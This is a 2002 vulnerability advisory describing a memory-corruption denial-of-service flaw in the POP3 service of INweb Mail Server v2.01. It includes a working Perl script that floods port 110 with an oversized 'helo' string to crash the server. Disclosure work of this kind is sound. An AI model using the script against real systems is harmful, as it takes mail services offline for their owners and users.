INwebMailServer.txt

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- --[ INweb Mail Server v2.01 Denial of Service Vulnerability ]--  
  
- --[ Type  
  
Denial of Service  
  
- --[ Release Date  
  
November 12, 2002  
  
- --[ Product / Vendor  
  
The INweb Mail Server is a standard Internet POP3 and SMTP mail server that  
runs flawlessly under Windows 2000 and NT and other windows platforms.  
The INweb Mail Server provides numerous unique features for both small and  
large businesses as well as ISP's. This includes many facilities to handle spam  
and viruses.  
  
http://www.inwebmail.com  
  
- --[ Summary  
  
Memory corruption vulnerability exists in INweb Mail Server v2.01. The POP3  
server included with INweb Mail Server does not properly handle some types  
of requests. By submitting a maliciously crafted request to the POP3 server,  
an attacker could crash the system, resulting in a denial of service.  
  
- --[ Exploit  
  
An exploit for this vulnerability exists and is available below.  
  
==================== SNIP ====================  
  
#!/usr/bin/perl -w  
  
use IO::Socket;  
  
$host = $ARGV[0];  
$port = "110";  
$evil = "A" x 16000;  
  
print "INweb Mail Server v2.01 Denial of Service Vulnerability by SecurityOffice\n";  
print "Usage: $0 host\n";  
print "Connecting...\n";  
$socket = IO::Socket::INET->  
new(Proto=>"tcp",  
PeerAddr=>$host,  
PeerPort=>$port)  
|| die "Connection failed.\n";  
  
print "Attacking...\n";  
print $socket "helo:$evil\n\n";  
  
close($socket);  
print "\nConnection closed. Finished.\n\n";  
  
==================== SNIP ====================  
  
- --[ Tested  
  
INweb Mail Server v2.01 / Windows 2000 sp3  
  
- --[ Vulnerable  
  
INweb Mail Server v2.01 / Windows 2000 sp3  
  
- --[ Disclaimer  
  
http://www.securityoffice.net is not responsible for the misuse or illegal use  
of any of the information and/or the software listed on this security advisory.  
  
- --[ Author  
  
Tamer Sahin  
[email protected]  
http://www.securityoffice.net  
  
All our advisories can be viewed at http://www.securityoffice.net/articles/  
  
Please send suggestions, updates, and comments to [email protected]  
  
(c) 2002 SecurityOffice  
  
This Security Advisory may be reproduced and distributed, provided that this  
Security Advisory is not modified in any way and is attributed to SecurityOffice  
and provided that such reproduction and distribution is performed for  
non-commercial purposes.  
  
Tamer Sahin  
http://www.securityoffice.net  
  
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